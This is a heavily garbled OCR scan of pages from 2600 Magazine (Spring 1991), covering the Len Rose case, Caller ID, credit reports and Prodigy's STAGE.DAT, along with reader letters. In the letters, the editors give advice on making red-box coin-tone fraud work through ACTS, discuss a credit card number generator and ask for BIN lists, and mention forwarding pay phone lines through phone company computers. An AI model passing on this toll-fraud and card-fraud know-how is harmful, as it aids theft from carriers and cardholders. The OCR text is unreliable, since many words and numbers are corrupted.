could not find work, he was looking 
at two serious indictments for sure, 
and a possible third, and he just 
could not take it any longer. 

Rose' s legal arguments were 
strong in many respects and it is 
widely believed that if he had fought 
the charges that he may very well 
have been able to prove his 
innocence. Unfortunately, the pileup 
of multiple indictments, in a legal 
system that defines justice in terms 
of how much money you can afford to 
spend defending yourself, took its 
toll. The U.S. Attorney in Baltimore 
did not want to try the case and they 
offered him a deal, part of which was 
that Cook got something as well. 
Rose would agree to plead guilty to 
two wire fraud charges, one in 
Baltimore, one in Chicago. The U.S. 
Attorney's office would offer a 
recommendation of a prison sentence 
of 10 months, the State of Illinois 
would drop its charges, and Rose 
would eventually get his computer 
equipment back. 

In the weeks prior to accepting 
this decision I often spoke with Rose, 
pleading with him to fight based 
upon the principles and importance 
of the issues, no matter what the 
costs. However, I was olinded by 
idealism while Rose still had to face 
the reality. 

At this time Len Rose is still free 
and awaiting formal sentencing. 
United States v. Rose was not a case 
about illegal intrusion into other 
people's computers. Despite this the 
Secret Service and AT&T are calling 
his case a prime example of a hacker 
conspiracy. In reality, it is only an 
example of blind justice and 
corporate power. Like many criminal 
cases of this type, it is all a question 
of how much justice can a defendant 
afford. How much of this type of 
injustice can the American public 
afford? 

Page 14 2600 Magazine Spring 1991 



Spring 1991 2600 Magazine Page lS 



MlI.YKeHrlIIIIl,3cpblBanpoJI,IUK3W1CMMTb6IO 

SUEARN Network BBS +7-095-9383618 
PsychodeliQ Hacker Club BBS +7-351-237-3700 

Kaunas #7 BBS +7-012-720-0274 
Villa Metamorph BBS +7-012-720-0228 

Wolf Box +7-012-773-0134 
Spark System Designs +7-057-233-9344 

Post Square BBS +7-044417-5700 
Dzz Land +7-017-277-8327 
Alan BBS + 7-095-532-2943 

Angel Station BBS +7-095-939-5977 
Bargain +7-095-383-9171 
Bowhill +7-095-939-0274 

JV Dialogue 1st +7-095-329-2192 
Kremlin FIDO +7-095-205-3554 
Moscow Fair +7-095-366-5209 

Nightmare .. ,.7-095-1284661 
MoST Net 2nd +7-095-1934761 

Wild Moon +7-095-366-5175 
Hall of Guild + 7-383-2354457 

The Court of Crimson King +7-383-235-6722 
Sine Lex BBS +7-383-2354811 

The Communication Tube +7-812-315-1158 
KREfT BBS +7-812-164-5396 

Petersburg's Future +7-812-310-4864 
Eesti #1 +7-014-242-2583 

Flying Disks BBS +7-014-2684911 
Goodwin BBS +7-014-269-1872 

Great White of Kopli +7-014-247-3943 
Hacker's Night System #1 +7-014-244-2143 

Uon's Cave +7-014-253-6246 
Mailbox for citizens of galaxy +7-014-253-2350 

MamBox +7-014-244-3360 
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New Age System +7-014-260-6319 

Space Island +7-014-245-1611 

XBase System +7-014-249-3091 

LUCIFER +7-014-347-7218 

MESO +7-O14-34�3434 

PaPer +7-014-343-3351 

Interlink + 7-095-946-8250 

Hackers Night 2 +7-0142-601-818 

Micro BBS +7-0142-444-644 

P.O. Box Maximus +7-0142-529-237 

Lion's Cave BBS +7-0142-536-246 

Barbarian BBS +7-0142-211-641 

Kroon BSS +7-0142-444-086 

SVP BBS +7-3832-354-570 

XBase System +7-0142-477190 

SPRINT USSR +7-095-928-0985 

PHONE NUMBERS SUPPLIED BY READERS 
202-456-6218 WHITE HOUSE FAX 
202-456-2883 VICE PRESIDENTS FAX 
202-456-1414 WHITE HOUSE OPERATOR 

202-456-2343 PRESIDENT'S DAILY SCHEDULE 

202-456-6269 FIRST LADY'S DAILY SCHEDULE 

800-424-9090. 
202-456-7198 
262-456-4974 
202-456-2326 
202-456-6797 
202-456-2100 
202-456-2335 
202-479-3000 
703-351-7676 
703-351-2028 
919-755-4630. 
704-322-5170 

EXCERPTS OF PRESIDENTIAL SPEECHES 

NATIONAL SECURITY COUNCIL 

OFFICE OF THE VICE PRESIDENT 

CHIEF OF STAFF 

PRESS SECRETARY 

PERSONNEL DEPARTMENT 

SUPREME COURT 

CENTRAL INTELLIGENCE AGENCY 

PERSONNEL DEPARTMENT 
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We've been getting pretty sick of this smug bragging that's been 

passed all over the place. Keeping people out in a controlled 
environment is easy. We'd like to issue a challenge of our own. If 

these products are so secure, then distributing a list of those 
companies that now use them should cause no problem 

whatsoever. How about it? 
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Identifying Callers 
Caller ID mania continues to 

spread. Centel, the local 
independent phone company of Las 
Vegas, recently started offering 
Caller ID services to its customers. 
They have one option that they 
seem to be trying to convince 
everyone not to get: All Call 
Blocking. Unlike Per Call Blocking 
(where customers dial *67 or 1167 
before placing a call), All Call 
Blocking permanently blocks your 
number from being displayed on 
other people's phones when you 
call them. "All Call Blocking may 
prevent you from reaching 
residential customers because you 
have no way to unblock," their little 
pamphlet says. Centel doesn't allow 
businesses to subscribe to All Call 
Blocking. They don't explain this 
decision but we know there's no 
technical reason why this isn't 
possible. They also mislead their 
customers into believing that All 
Call Blocking will delay 
ambulances and emergency vehicles 
because the phone number won't be 
displayed. In actuality, Caller ID 
will only be used by those 
emergency services that don't have 
Enhanced 911, the service that 
displays your number and address 
as soon as you call 911. So people 
who choose All Call Blocking who 
don't live in an Enhanced 911 area 
are probably quite used to not 
having their numbers dfsplayed 
when they call 911. In other words, 
life as usual. 

This kind of arm twisting and 

fact distortion has been apparent 
ever since Caller ID first appeared 
on the horizon. Recently, Southern 
Bell expressed outrage over the 
Florida Public Service Com
mission's unanimous ruling that call 
blocking had to be offered. 
Southern Bell wanted everyone to 
have their numbers identified, 
whether the caller wanted it or not 
Bell spokesman Spero Canton said 
angrily, "Those who want to 
continue misusing telephone service 
through harassing calls still will 
have a convenient means to do so." 
The fervor with which Caller ID is 
being rammed down our throats is 
reason enough for consumers to be 
hesitant. 

Person Identification 
According to Electronic 

Engineering Times, Sierra Semi
conductor Corp. is designing an 
analog front-end chip for Caller ID 
services. The chip uses the signal 
sent by the phone company between 
the first and second ring and 
converts it to display the calling 
number. It's known as the 
SC11210/11211 Caller-ID chip and 
will be available for about $2 each 
in high volumes. The February 18 
article says Sierra will use its cell
based design tools "to take a 
frequency-shift key demodulator 
from a standard modem, and 
combine it with a four-pole 
bandpass filter, input buffer, 
energy-detection circuit, and clock 
generator". 

It's predicted that the small size 
of this chip could signal the start of 
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a trend toward Caller ID actually 
identifying the person regardless of 
the location they're calling from. 
Ken Kretchmer, principal analyst at 
Action Consulting Inc. of Palo Alto, 
CA was quoted as saying, "It would 
be a shame if the technological 
possibilities of PCNs (Personal 
Communications Networks) were 
lost because of a concern on privacy 
that might well be considered 
outdated." 

Or maybe, just a little too 
inconvenient. 

Credit Release 
Our local major paper, Long 

Island Newsday, occasionally comes 
up with an intelligent editorial. The 
latest instance of this occurred on 
April 2nd when they called for 
Congress to pass legislation 
requIrIng credit reporting 
companies to send everyone a copy 
of their credit records once a year 
for free. It's about time the media 
latched onto this . We've been 
yelling about this gross unfairness 
for years now. Credit agencies have 
files on practically each and every 
one of us. Most people never even 
knew about these files until hackers 
started uncovering them in 1984. In 
order to see what's written about 
you, you are forced to pay, one way 
or another. TRW offers their 
Credentials service which "allows" 
you to see your credit report 
whenever you want and find out 
who's been accessing your file. Not 
only do they charge for this, but 
they actually try to get more 
information on you when you apply, 

in the interest of accuracy, of 
course. It  gets worse. TRW now has 
900 numbers that charge outrageous 
amounts for this information: $15 
for a fax copy of your credit report, 

$25 to get it sent to you overnight, 
and $1  a minute ($2 for the first) to 
hear your credit report read to you. 
And that's only for members I 
TRW's 800 number remains for 
people who want to talk about 
signing up. This blatant rip-off and 
invasion of privacy has been 
tolerated for far too long. 

Credit Due 
Recently, one of our staffers 

received a check from a credit card 
company . In actuality, the check 
was an unsolicited loan, something 
this company does quite frequently, 
in the hopes that the customer will 
deposit the check and instantly start 
racking up interest charges on the 
loan. But this time it was different. 
Along with the check came an 
itemization of how it should be 
spent . The amount of money our 
staffperson owed on bank credit 
cards and retail credit cards was 
printed. How convenient . We 
wonder if this doesn't constitute an 
unauthorized look at someone's 
credit report. After all, they had to 
have looked at the credit report to 
know how much was owed. Yet, 
several weeks after this occurred, 
TRW Credentials (to which our 
staffer foolishly subscribes) 
reported no inquiries had been 
made. 

And they wonder why hackers 
try to hold onto their anonymity. 

Page 20 2600 Magazine Spring 1991 



Modern Times 
We are told that there are no 

more crossbar central offices in the 
212 area code. This means no more 
deep baritone rings or busy signals 

that make your spine tingle. 212 is 
now completely electronic. We 

wonder though, why it is necessary 
for all of the rings and all of the 
busys to sound exactly the same. 
The new modern switches are 
perfectly capable of altering the 
sound. While standardization is 
obviously the goal here, monotony 
and lack of imagination don't have 
to be part of that. 

Whose Scam Is It? 
There was an interesting scam in 

New York a couple of months ago. 
It seems the owner of a 2 12-540 
number (540 numbers are generally 
rip-offs that charge outrageous 
amounts when you call them) had 
gone through an exchange of pager 
numbers and paged a whole lot of 
people with his 540 number. Well, 
what do you think happened? A 
bunch of confused people wound up 
calling the 540 number and, when 
they did, they each incurred a 
charge of $55! 

Local law enforcement is very 
proud of the fact that they caught 
this person. He did, after all, page 
everyone with his phone number. 
But apart from being a real sleaze, 
we fail to see what the crime here 
is. A person calls a bunch of pagers 
and keys in his phone number. As 
far as we know, that is not a crime. 
When his number is called, an 

incredible charge is incurred. 
Again, no crime is being 
committed. The 540 exchange in the 
New York area is set up to take 
people's money. That's where the 
real crime is taking place every day. 
Such exchanges should not be 
allowed to blend in with the 
scenery. 

The phone companies make very 
little attempt to warn consumers of 
the charges they can receive. Any 
system where simply misdialing one 
number can result in a huge bill or 
where an exchange is a premium 
exchange in one area code but not 
in another is a flawed system. As 
usual, between the phone companies 
who make out like bandits and law 
enforcement people who have as 
little grasp of the technology at 
work as the average citizen, the 
facts remain distorted and confused. 

Eternal Vigilance 
Another sleazeball operation in 

New York concerns private 
payphones (COCOTs). It seems that 
a particular company had actually 
turned its phones into "calling card 
thieves". The phones had been set 
up to record the calling card 
numbers that were being used. 
These numbers were later sold to 
drug dealers and you can probably 
predict the rest. There are an 
incredible number of situations 
where what you are dialing can be 
recorded. Take hotels, for instance. 

Every time you dial something from 
a hotel room, it's probably being 
printed out for hotel records 
somewhere. This includes any and 
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all numbers you dial after calling 
the phone number.  While most 
hotels won't sell your calling card 
numbers to drug dealers, the 
potential is always there. And then 
there's the garbage . . . .  

Illegal Networks 
According to The Economist, the 

German Postal Ministry (they run 

the phones) discovered 23 illegal 
pri vate teleph one networks in  
eastern Germany, including one 

formerly controlled by Stasi, the 
secret police. Because of a shortage 
of telephone lines in  eastern 
Germany, the networks will be 
allowed to continue operating for at 
least another year. 

EFF Lawsuit 
On May 1st, the Electronic Frontier 

Foundation filed a civil suit against the 
United States Secret Service and others 
involved in the Steve Jackson Games 
raid of last spring (see our Spring 1990 
issue to relive that moment of history). 
According to EFF Staff Counsel Mike 
Godwin, Jackson was "an absolutely 
innocent man to whom a grave injustice 
has been done". Jackson's business was 
nearly driven to bankruptcy, a 
manuscript and several computers were 
taken, and private electronic mail was 
gone through. 

When asked how important it was 
that Jackson not be considered a hacker, 
Godwin replied, "First, the rights we 

argue in this case apply to hackers and 
non-hackers alike, so it's not as if we 

were seeking special treatment under the 
law for hackers. Everybody uses 
computers now, so the rights issues 

raised by computer searches and 
seizures affect everyone. Second, the 
facts of Steve's case show how muddy 
the government's distinctions between 
hacker and non-hacker, and between 
criminal and non-criminal, have been. 
Steve Jackson was never the target of a 
criminal investigation, yet · at least one 
Secret Service agent told him that his 
G URPS Cyberpunk book was a 
handbook for computer crime." 

Godwin said the interests that 
Jackson and the EFF want to protect 
"deri ve  directly from well
understood Constitutio nal prin
ciples". 

We're glad to see groups like the 
EFF emerge and start fighting back. 
We encourage support for their 
efforts .  They can be contacted at 
6 1 7-86 4-0665. It's going to take a 
lot of awareness and vigilance on 
everyone's part to keep these 
injustices from occurring again and 
again. 

Prodigy Invading Privacy ? 
Those who argue against hackers 

almost invariably portray them as a 
threat to our privacy . "Breaking 
into my computer is like breaking 
into my home, " is a phrase heard 
quite often in that camp. Ne ver 
mind that hackers are generally 
uninterested in personal computers 
but go instead for mainframes and 

mini's run by huge corporations and 
institutions. 

We wonder what their reaction is 
now to the news that a huge

/
corporation 

has been breaking into personal 
computers all over the country. Sort of. 

It seems that the online service 
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known as Prodigy, run by IBM and 
Sears, has been writing a file called 
STAGE.DAT on its subscribers' hard 
drives. This file is supposed to contain 
information concerning the user's 
configuration, which screens he uses 
frequently, and other details designed to 
make his Prodigy session interactive and 
fast. But recently, Prodigy subscribers 
have been dissecting their ST AGE.DAT 
files and fmding bits and pieces of files 
that Prodigy has no business possessing 
- everything from personal letters to 
databases to directories of the personal 
computer. 

Many subscribers were outraged, 
saying they had no idea this information 
was in the file and demanded to know 
how it got there and what Prodigy was 
doing with it. Prodigy and its supporters 
claim that it's an inherent trait of MS
DOS to put bits and pieces of previously 
used files in the space allocated to new 
files. Full directories were often 
included in this manner. 

While it's quite likely that this is 
exactly what happened, we fmd it more 
than a little disturbing that Prodigy 
supporters are so quick to drop the 
issue. The implications here are 
downright frightening. 

First off, why is it so much easier to 
believe the intentions of Prodigy than it 
is to believe the intentions of an 
individual exploring a wide open 
computer system? After all, if we move 
so quickly to prosecute teenagers 
suspected of downloading text from a 
huge corporation , shouldn't we be 
moving just as quickly when a huge 
corporation is suspected of downloading 
text from an individual? Prodigy says 

they were not looking at any personal 
data but how do we know this for sure? 
Have there been raids in this case? 
Seized equipment? If those actions are 
so important and necessary in the course 
of an investigation, why then haven't 
they occurred? 

The logic is clearly flawed. The laws 
are only effective if they treat everyone 
equally. Prodigy seems to be getting a 
fair deal. They're able to explain exactly 
what they were doing and why what 
happened happened. They're being 
given the opportunity to fix their 
programming so personal data is no 
longer captured. We strongly doubt the 
authorities would be so fair if this was 
an individual accidentally gaining 
access to corporate secrets. 

Apart from that, there is a much 
bigger issue. Personal computers are 
wide open. If you give access to 
someone, they can quickly find out a 
whole lot about you. If someone at 
Prodigy were to look at the data in a 
typical S TAGE .DAT, they would 
probably come across other file names. 
They could then rewrite the 
programming so those files were 
accessed. And what happens when the 
authorities realize that they can access 
people 's personal files through their 
Prodigy accounts? Might they use that 
ability as a "high tech weapon" to catch 
criminals? The possibilities are 
terrifying - and endless. 

Putting faith in a commercial 
venture that has direct access to 
your computer is an act of utter 
foolishness .  This little escapade 
may have at least taught people the 
dangers of such setups. 
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Reader Feedback Time 
Some Suggestions 
DaIr 26IXJ: 

I enjoyed Dr. Williams' ''Hacker Reading Is" article. 
Hac1cm and olh"", will also want to check rut the Carnahan 

Confcrmce m Security Technology. This is a collection of 
article abstracts from the annual conference. Both the 
theoretical and practica1 ..".,as of a broad mnge of security 
tech topics are covered. Everything from surveillance 
countenneasures to lapping fiber optic cables has been 
covered at some time. It's available for $2250 from OES 
Pul:iications, Office c£ Engineering SeMces, University of 

Kmtucky, I.exingtm,KY 405Q6..0046, phooe 6()6.257-3343. 
You may be able to find this publication at your local 
university library. 

Which � up a good point: many of the newsk1ters 

and tmde journals mmtioned in the article shoold be at your 
local univmity libmry. So I§-' check. Sane of the books might 
be there too. In fact, it isn't a bad idea to thoroughly sean:h 
your library for int<resting books, journals, and articles every 
six monlhs or so. If you did, you might find such gems as 
'Thwarting the Jnformatim Thieves" (IEEE Spectrum, July 
1985) or The Big BJaber Game by Scott Fnn:h. A lot of 
infonnatim is rut there jist waiting for you to find it 

On to another subject: I have written a credit card 
verificatim and generation program as a HyperCard stack 
based on the algorithm in the Autumn 1990 issue. This 
algorithm would be a lot more effective if a card's bank 
identificatim number (BIN) was also checked. The BIN is the 

fust fuur (or maybe more) digits of the canl that indicates the 
type of canl and the issua". For eXlllllp1c, 5398 is the BIN for 
AT&T Univemal Masteroud I'm all set to include the BINs 
in my progmrn, but I have no way of getting them, short of 
individually gleaning them from people's cards. A BIN 
directory is puliished by the aptly named Haud and Theft 
Infonnation Bureau, but it costs a whopping $895. Does 
anyone rut there have BIN infonnation that they woukl like to 
share with the rest of us? 

Mr. Up8Olta:" 
Ifwe get it, we' U share it. There is no reaJl)n in the world 

wiry such itformalion should be suppressed. Yau have """1)1 
right to know what the numbers on your credit cards mean. 
Dialing Assistance 
DaIr 26IXJ: 

Help, I just spent $39 for a Radio Shack pocket tone 
dialer #43-141, four AAA batteries, five 655 Mhz Cl)'Stals 
fromFIy's and a 2600Magazine, Autumn 1990. 

After reassembling and programming my converted 
dialer, I rumed to the nearest payphone for a test. I had no Iud< 
at three different payphmes. I disasseml:ied the dialer and 
reveJ1!ed the 655 Mhz crysIlIl leads  hoping this would solve 
the proI*rn. h didn't 

There is a mound of epoxy covering the processor. Is this 
a Radio Shack modification to foil at:tanpts to modify their 
dialefl Can you help me cmvert my dialer or give me anoIber 
source for an inexpemive way to modify it? The article also 

refertm to a diagram. Can you please send me a copy of that 
diagram? 

TI 
Palo Alto, CA 

Help! I have ruilt a red box like the one described on 
page 33 of the Autumn issue but alas it does not sam to worl<. 
It does produce tones remarlcably similar to coin tones but 
when tested in the real world, it doesn't seem to have any 
effect (I tried prognunming in five * tones as suggested). Any 
ideas or suggestioos wruld be greatly appreciated since I just 
� aI:outforty I:udcs ruilding the thing. 

DaIr 26IXJ: 

Larry 
New York 

I ruilt the cmverted tone dialer red box described in the 

Autumn issue. I used the Radio Shad< part #43-141 dialer and 

ordered the 6.5536 Mhz crystal from the company 
recommended in the article. The constroctim was easy and 
went as per the article's directions. The dialer did Se<n1 to 
make a series of beeps that sounded scmething like pay phone 
coin tones when progranuned as described, however when I 
tried it out m a real pay phone, the electronic voice simply 
kept asking me to ckposit rmney as tOOugh it never bean! the 

tones generated by the dialer. What'. wrong? 
SM 

LeucadIa, CA 
Since we' ve been hearing from people who have 

successfuJly completed the project, it would appear that the 
plans do work What svme of you may have made the mistaIiE 
of doing, however, is aI1empI to use the tones to fake out coin 
requests on Iocol caUs. This will not work Red box tones can 
only work in conjUlrtion with ACTS, the system that asks for 
a specific amount of money for a specific amount of time. 
("Please deposit x dollars andy cenlS for the first z minutes.") 
Red box tones have no effect on a diol tone nor will they work 
on those caUs that don't require additional deposits. In svme 
places, you may be able to activate ACTS on Iocol colis by 
inserting your area code "'fore the number you're colling. If 
you can do this, the red box tones will then work for that colL 

There is in reality no diagram for that article. That WIll' 
an ediling error. Sorry. 

What Could It Be? 
DaIr 26IXJ: 

I found rut from somrone who IllUSt mnain anonymous, 
for obvious reasons, that by dialing 1-617-890-9900 you can 
find rut if your line is being traced. After it picks up you will 
bear a tone. If it goes up in pitch and then hack down and 
continues to rq>eat, your line is not traced. If it goes up in pitch 
and does not I§-' hack down to repeat, your line is being traced. 

I tried it and, according to the infonnatioo, my line is not 
being traced. Does anyone know anything about this numbeI'? 
I would like to find rut who owns it and exactly how it works 
and if it really tells you if your line is being traced. 

MadSdetKht 
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First if all, we a<sUme you mean topped and not traced. 
Who would be tracing your line? The number you 
mentioned? Whatwould be the point? Another number? How 
could one number in one pan if the cOunlry know if another 
number someplace else war tracing your number? If you 
indeed meant topped, think if how it would be possible for a 
distant phone number to know whether or not somebody is 
wired illlo your phone line. We haven't reached that stage if 
integration yet. The number you mention is a sweep tone, 

used to measure frequency response on a phone line. New 
York Telephone ha< lots if these, usually ending with W19. 
The only way these would be ustfuJ to a topped line would be 

to call it, leave it off the hook, and annoy the heU out if the 
toppers. 

Info Needed 
»oar 2rIXJ: 

I would like to know more about Cal:ie and Wlldess's 
offer of an 800 I1IIffiber for ooly I<n dollan;. This is fanlastic! 
Just the thing I was looking for to get my cottage industry 
(put-Aishing) off the ground. 

I also see that you're looking for old tapes of telephone 
ciraJi1s and fumy fone calls; do you mean like old-fa'ihioned 
or UIllJSU8! sounding dial tones, ringing toocs, rusys? Because 
I think I might have some from the <ady seventies. JnIere5ted? 

And ..nen you say fumy fone calls, do you mean like 
prank anonymous calls? Or annoying or clever calls to 
friends? 

IN 
New Y<rk 

Lots if people are asliing us about that 8(X) number deal. 
You can call Cable and Wireless at 800-486-8686 or 950· 
(J223 and enta" 811 at the tone. While they have a fair pricing 
structure, they can botch things up if you don't watch what 
they're doing. They're also notorious for not calling you bock. 
But if you stick with them, their service wiU pay off most times. 

AU if the above topes sound intertSJing to us. As modmI 
equipment all tends to sound the same, hearing sounds from 
the past can be moot intriguing. Clever phone calls are also 
welcome. Some if this material may wind up being aired on 
the radio inNew York City. 

There are sliU some inteTl!Sling telephone =hanges in 
existence, by the way. The 423 =hange in Willimantic, CT is 
one of the oldest Western Electric step offices in the cOunlry. 
Call 203423.()1772 for a reverse battery test. The 516-788 
=hange in Fisher's Island, NY is also an ancient step office 
with aU kinds of interesting sounds. We'd welcome any 

reports if other such =hanges throughout the world. 

Compliments 
»oar 2rIXJ: 

The two winn..-s in the hacker replies contest provided 
some liISl class op-ed journaIi;rn. I found thtm 00th to have 
the molt profound infonnation defending the right to hade. 

I am not an experienoed oornputer user, or hacker, but 
sub!cnbe to 2600 to stay informed of the many issues that 
interface with the feds and other agencies. I can identify with 
the implied parnnoia the two writers have. It is justified. 

I thank both of your anonymous oontribotors for sharing 
I put 2600 down as a much more informed pmon. 

Mysteries 
»oar 2rIXJ: 

Carl F1ach 
San Leandro, CA 

Here's an inleresting mnnber I ran across a � ago. I 
was tIying to call a friend of mine at the Dunkin Donuts store 
that she worlc.ed at, but I didn't know the mnnber. Being the 
lazy 00stard that I am I called directory assistance and they 
gave me the I1I1IDher. 508-687.(,()<X). 

I called the mnnber and instead of gd!ing a human being 
I got a sequence of DTMF tones, followed by silence. 
Fntering any sequence of I1IJIIlbeIS folliwed by the ''#'' will 
give you a meesy cornputer-gcnerated voice that fuirly sixJuts 
"UNAUTIIORIZED" at you. After two aItmlptS it will hang 
you up. I then called directory assistance tedc and they gave 
me a different number, 508-688-8572, which is the correct 
number. It turns out that if yoo ask for the number of the 
Dunkin Donuts on Havohill Sl in Methu<n, Massachusetts, 
about 10 percent of the time directory assistance will give you 
the fiISt I1IIffiber (508-687'('()<x)). This is fudred, as is much of 
the phone service in my area. 

h might be ink=Iing to decode 1be DfMF stuff that is 
fiISt heard when the I1IIffiber piela; up. I did some .......-dt and 
1earned that some of the flIlt food chains use a canputerized 
rudering syst<rn for raw materials, where the manager calls in 
his onIerusing 100ch tones. This may be one of those systans, 
hlt I may be wrong. 

In any case, it sure as hdl is inleJ<5ting. 
� Carrot 

We strongly suspect that this number belongs to a 
cocm (Customer Owned Coin Operated Telephone). The 
touch tones you hear when i( s called translale to 159-5aJ-
6lr7.QYXJ-A with A being one of the extra tones not used on 
most touch tone pads (silver box tones). 
Dear 2rIXJ: 

On Sunday, March 24, between 10 and 1 1  pm MST, I 
made several altfmplS to call a relative near Red B1utI, CA in 
the 916 area code. For each attanpt, a lood tm.z was returned, 
fo11owed by a message like, ''Ail lines are rusy. 5054T." I then 
dialed the �rator at "(Y'. After two aItmlptS, I got through. I 
asked for an explanation and she told me that she didn't know 
what ''5054r' meant or why the lines would be tied up. She 
suggested that I call the AT&T �rator at "102880" , v.hich I 
did The AT&T operator then tried to dial the number for me 
and got a sarne-oounding loud tm.z fonowed by, "p.! '  ax 
rusy. 916IT." She then stated that these kinds of messages 
meant that there were "trunk proI:*:rns". I asked her where the 
trunk. problems were, and she slated that they were in New 
Mexico. I then asked her ..ny it was rusy ..nen she tried. She 
then slated that the problem was in California. I then asked her 
what the problem was and, incredibly, she told me that ''San 
Francisco had experienced a 4.0 earthquake" that morning that 
''probably severed the trunk. lines". The next day I called my 
relative, an avid news watcher, and she slated that she was 
unaware of any earthquake anywhere in California. And 
noIbing appeared in the pope"', on 1V, or on the shortwave to 
indicate any earthquake any..nere in California What is going 
on here? 

New Medco 
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Thefirst timeyour ca/J never made it out if New Mexico. 
This is indicakid by the location if the error meosage (5Q54F) 
in the 5Q5 area cotk. When you went through the AI &T 
operator, she war able to get you to the 916 area code in 
California. I( s important to understand how to intopret these 

error messages so that you can figure out how to get your ca/J 
through. In this care, the initial tie-up in 505 indicakid that 
there ,.... congestion in that area. If you were unable to get 
out at all from 5Q5, that would teU you that the problem ,.... 
coming from the 505 area. If you were only having troubk 
reaching 916 from 505, that would mean thai the problem 
was most likely in 916 and that ,.... cau.ing congestion in 
other parts if the country. Whatever the CClU'ie, there is almost 
always a way to bypass it. Next lime, try routing your call 
through alternate long distance carriers. (By the way, we're 
told there,.... a small earthquake on thai day.) 
Observations 
Dear 2fbJ: 

While I agree with you that moot of the savicc:s AIInc:t 
off .... are ouIIllgeously overpriad, I do have to disagree with 
you about call delivery. Being the sort of person ,.no tmvels 
and likes to call in when passing coin pOOne; at rest stops 
(cdlular is OK \:ut too expensive for routine stufi), the AIInc:t 
basic 950 or 1-800 mtes are somewhat better (for the most 
part) than the otl,..-providCIS. 

The call delivery optim is very handy \>hen the other line 
is rosy, or ifrm ch<cking in at an ungodly hour. At $1 .75 to 
kave a m=age, it seems reasooably fair and legit. Also, of 
COUI1le, sending a on�way message means you don't get stuck 
actually talking to the persoo. 

On another topic, many of the alternative common 
carriers will, in fact, give you remote (as opposed to 1+) IICCf8S 
if you tell them you're part of a bigffiX orCENfREX which 
has been conunitted to one of their competitors. No guanmtees 
that any specific company will provide you with such an 
aa:ount, rut it's definitely worth a try. 

Fma1ly, I noticed an interesting feature of my recently 
upgmded central office. If I call a number, the ring or rusy 
signal will cut out after about 1 .5 minutes. After a bit of 
ken:hunking. I get kicked beck to a dial tone. If other CO's 
and PBX's do this sort of \hint!. it jIN might be a way to get 
second, unrestricted, dial tone;. 

General Complaints 
Dear 2fbJ: 

Danny 
HarJem,NY 

I have enclosed a copy of an article published in the 
magllZine "Law and Order" which is self-explanatory. The 
various law enforcement agencies would like to d<Stroy the 
undergt"OllM press. Olilling if you think about the recent 00sts 
and raids. Is this country really as free and democratic as we 
are led to believe? 

Another thing that has been bothering me is some of the 
things offered for sale in your classifieds and letters section. 
One is =<lit canl number genemtor software, offered in the 
Autumn 1990 issue. A company that would sell something 
found on many underground, or just regular l:ulletin boani 
systems has gcX to be a j>ke. I cannot say what they offer is the 

exact same thing. but I have seen pu!jic domain progmms that 
would do just as good a job as the one they have. The 
companies that prey upon the uninformed are just as 
dangerous as any scam or con artist. Many things I have seen 
are freely available to anyone with a canputer and a modem, 
and are in the public domain. Meaning they do not have 
copyrigbt laws on them. I realize everyooe has to make lDlIley 
somehow, \:utto stesl fum others and oven:harge has me a bit 
steamed. 

While I am on the !IJ� of rip-offS, I will express my 
opinions on those selling beck issues of TAP. Most of the 
issue; are copies fum a slate historical society. They are the 
censored copies. Missing many parts. The sets are incompkte. 
They have the two middle pages shnmk into one so it canes 
out three pages per issue. They are not really worth paying 
$100 for them. I have seen claims to having original canp1ete 
sets with indexes and schematics. Many of the issues had 
sdlernatics in them. So what is the extra deal about getting a 
set with them includ<d? Many of the original TAP issues were 
printed more than once and were updated to include new 
infonnation or updated diagrams. These people do not have 
th<Se pages includ<d in their "complete get" .  I have am seen 
flyers that were distriruted with issues and have yet to see 
anyme claim 10 have these included for sale. The day I see a 
set of copies from a complete original set is the day Abbie 
Hoffinan comes beck and personally hands them to me. 

Predallr 
If you haven t seen anyone offering whal you're IooIOng 

for, then why come d?wn so hard on the people offering what 
they do have? It's also hard to imagine thai you've gone 
through all of the collections thal have been advertised. 
Maybe some if them do have those missing pans. Perhaps 
you mouJdwrite them and ark. 

Concerning public domain material: while some if ... 
may have access to computers and modems, others do not To 
make hardcopy versions (assuming i( s exactly tire same ar 
what you have access to) means collecting, printing, 
arsembling, and mailing. All of this involves investment if 
lime, energy, and money. Thal is why there is a charge. To say 
they overcharge for the item you refer to is a bit unfair, 
considering there wasn't even a price menlioned in the ad If 
you really believe i( s a rip-off. there is nothing stopping you 
from offering the same material ata belt£rprice. 

We should menlion that the writer is editor of the new 
TAP, which is reachable at PO Box 21J264, Louisville, KY 
40250-<J264. Samples are $1. 
Payphone Question 
Dear2fbJ: 

Kudos to Noah Clayton for that most excellent Autumn 
1990 article, "Converting a Tone Dialer into a Red Box" I 
found this article to be among the best on this !lJbject and Mr. 
Clayton's genius is unswpassed in considering and actua1ly 
designing a successfully worlcing red box out of a tooe dialer 
both in telDlS of styling and simplicity - not to mention 
effectiveness! It sure as hell beats using a converted Walkrnan 
forthe JlU1PO'l"I 

Bill, speaking of pay pholl<S, I am very mud! interested 
in learning more about employing th<Se phones for d!anneIing 
to otl,..-numbers. I am aware of using intemal colJlOIllte loop 
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lines for such action, 1m in one of your previous issues, you 
made mention of employing pay phones to call out to ocher 
munbers. Could you recommmd to me where I couJd find this 
infonnation out? 

TG 
PA 

Any phone line can be modified 10 forward 10 another 
number. Pay phone lines are not supposed 10 be able 10 do 
this, but they certainly are not totally immune. Such 
modifications generally require access 10 phone company 
computers, which we frequently make riference 10 in these 
pages. 

Frustration 
Dear 2600: 

Several months back I wrote to you informing you that I 
did not receive an issue of 2600. No one answered me nor was 
the issue ever sent to me. I have borrowed that m.ue fran a 
friend. 

I have been a sub;criber since jJst about when you started 
this publication. The copies that I missed I got by ordering the 
back isIDes. I still have all of your issues 1m one. 

As a matter of fuct, I've written several letters. Never a 
reply was sent I am writing this time hoping that you will 
respond. If not I'll never write or call again because it's a 
waste of time. PerlJaps you will answer two questions fur me. 
I've c:ncl<>;ed a SASE. It won't ro;t you nothing. 

1. On page 1 1  of Volume 7, Number 4, Wmter 1990: 
what is the complete name and address ofTelocom? 

2. On page 26 of Volume 7, Number 4, Wmter 1990: 
what is the complete name and address ofURR Newsletter? 

What gives with the ad on page 41 ("Controversial 
DI'MF Docoder'). They use two names same address? 

TG 
Mt. Vemon,NY 

We printed thefoll address of Telecom Digest in that 
issue. Its published electronically SQ there isn't a US Mail 
address. The address again is: eecs.new.edultelecom. We 
don't have the address of URR Newsletter but we' /I print it if 
we get it. We don t under>1iJnd your final question at all. 

We absolutely cannot reply perSQna/ly 10 sub8cribers 
(unless it involves a sul=ription matter). We are delugedMi/h 
all kinds of personal requests through the mail and over the 
